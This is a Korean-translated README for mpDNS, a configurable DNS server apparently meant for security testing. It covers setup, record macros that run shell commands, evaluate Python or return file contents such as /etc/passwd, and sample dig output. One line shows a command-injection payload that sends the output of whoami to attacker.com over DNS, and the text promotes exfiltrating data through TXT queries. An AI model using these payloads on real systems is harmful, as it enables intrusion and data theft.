
간단하고 설정 가능한 여러 유용한 기능을 갖춘 DNS 서버
{{shellexec::dig google.com +short}} -> 셸 명령을 실행하고 결과로 응답{{eval::res = '1.1.1.%d' % random.randint(0,256)}} -> Python 코드 평가{{file::/etc/passwd}} -> 로컬 파일 내용으로 응답{{filelist::/somefile.list}} -> 여러 결과를 한 줄씩 응답{{resolve}} -> DNS 요청을 로컬 시스템 DNS로 전달{{resolve::example.com}} -> 원래 레코드 대신 example.com을 해석{{echo}} -> 피어 주소로 응답 반환{{shellexec::echo %PEER% %QUERY% %QUERYTYPE%}} -> 변수 사용다음을 기반으로 함: https://github.com/circuits/circuits/blob/master/examples/dnsserver.py
git clone https://github.com/nopernik/mpDNS
cd ./mpDNS
pip install -r requirements.txt
touch names.db
이제 names.db.example을 기반으로 names.db에 DNS 레코드를 채울 준비가 되었습니다.
사용법: ./mpdns.py
./mpdns.py -e로 names.db의 DNS 레코드를 편집하세요. 재시작 불필요/ping.php?ip=$(dig $(whoami).attacker.com))TXT 쿼리로 65K 데이터를 쉽게 유출TXT 레코드에 적용되며, 256바이트 청크로 분할되어 응답이 최대 허용 65200바이트에 도달할 때까지 계속됩니다{{file:localfile.txt}} 매크로가 포함된 TXT 레코드는 65200바이트로 제한됩니다.test.*.example.com 지원 안 함{{resolve::example.com}} 매크로에서 사용자 정의 DNS 서버 리졸버 지원 안 함TTL 항상 0으로 설정names.db 예제:
# Empty configuration will result in empty but valid responses
#
# Unicode domain names are not supported but still can be catched by the server.
# for example мама-сервер-unicode.google.com will be catched but with SERVFAIL response
passwd.example.com TXT {{file::/etc/passwd}} #comments are ignored
shellexec TXT {{shellexec::whoami}}
eval TXT {{eval::import random; res = random.randint(1,500)}}
resolve1 A {{resolve}}
resolve2 A {{resolve::self}} #same as previous
resolve3 A {{resolve::example.com}}
blabla.com A 5.5.5.5
* A 127.0.0.1
*.example.com A 7.7.7.7
c1.example.com CNAME c2.example.com
c2.example.com CNAME c3.example.com
c3.example.com CNAME google.example.com
google.example.com CNAME google.com
test.example.com A 8.8.8.8
google.com A {{resolve::self}}
notgoogle.com A {{resolve::google.com}}
DB에서 일반 해석: dig test.example.com @localhost
;; ANSWER SECTION:
test.example.com. 0 IN A 8.8.8.8
mpDNS 출력: - Request from 127.0.0.1:57698 -> test.example.com. -> 8.8.8.8 (A)
재귀적 CNAME 해석: dig c1.example.com @localhost
;; QUESTION SECTION:
;c1.example.com. IN A
;; ANSWER SECTION:
c1.example.com. 0 IN CNAME c2.example.com.
c2.example.com. 0 IN CNAME c3.example.com.
c3.example.com. 0 IN CNAME google.example.com.
google.example.com. 0 IN CNAME google.com.
google.com. 0 IN A 216.58.206.14
mpDNS 출력:
- Request from 127.0.0.1:44120 -> c1.example.com. -> c2.example.com (CNAME)
- Request from 127.0.0.1:44120 -> c2.example.com -> c3.example.com (CNAME)
- Request from 127.0.0.1:44120 -> c3.example.com -> google.example.com (CNAME)
- Request from 127.0.0.1:44120 -> google.example.com -> google.com (CNAME)
- Request from 127.0.0.1:44120 -> google.com -> {{resolve::self}} (A)
와일드카드 해석: dig not-in-db.com @localhost
;; ANSWER SECTION:
not-in-db.com. 0 IN A 127.0.0.1
mpDNS 출력: - Request from 127.0.0.1:38528 -> not-in-db.com. -> 127.0.0.1 (A)
와일드카드 서브도메인 해석: dig wildcard.example.com @localhost
;; ANSWER SECTION:
wildcard.example.com. 0 IN A 7.7.7.7
mpDNS 출력: - Request from 127.0.0.1:39691 -> wildcard.example.com. -> 7.7.7.7 (A)
전달 요청 매크로: dig google.com @localhost
;; ANSWER SECTION:
google.com. 0 IN A 172.217.22.110
mpDNS 출력: - Request from 127.0.0.1:53487 -> google.com. -> {{resolve::self}} (A)
사용자 정의 도메인 전달 요청 매크로: dig notgoogle.com @localhost
;; ANSWER SECTION:
notgoogle.com. 0 IN A 172.217.22.110
mpDNS 출력: - Request from 127.0.0.1:47797 -> notgoogle.com. -> {{resolve::google.com}} (A)
TXT 쿼리를 통한 파일 내용 매크로: dig txt passwd.example.com @localhost
;; ANSWER SECTION:
passwd.example.com. 0 IN TXT "root:x:0:0:root:/root:/bin/bash\010daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\010bin:x:2:2:bin:......stripped"
mpDNS 출력: - Request from 127.0.0.1:38805 -> passwd.example.com. -> ['root:x:0:0:root...(2808)'] (TXT)
TXT 쿼리를 통한 사용자 정의 파이썬 코드 매크로: dig txt eval @localhost
;; ANSWER SECTION:
eval. 0 IN TXT "320"
mpDNS 출력: - Request from 127.0.0.1:33821 -> eval. -> ['320'] (TXT)
TXT 쿼리를 통한 셸 명령 매크로: dig txt shellexec @localhost
;; ANSWER SECTION:
shellexec. 0 IN TXT "root"
mpDNS 출력: - Request from 127.0.0.1:50262 -> shellexec. -> ['root'] (TXT)
즐기세요!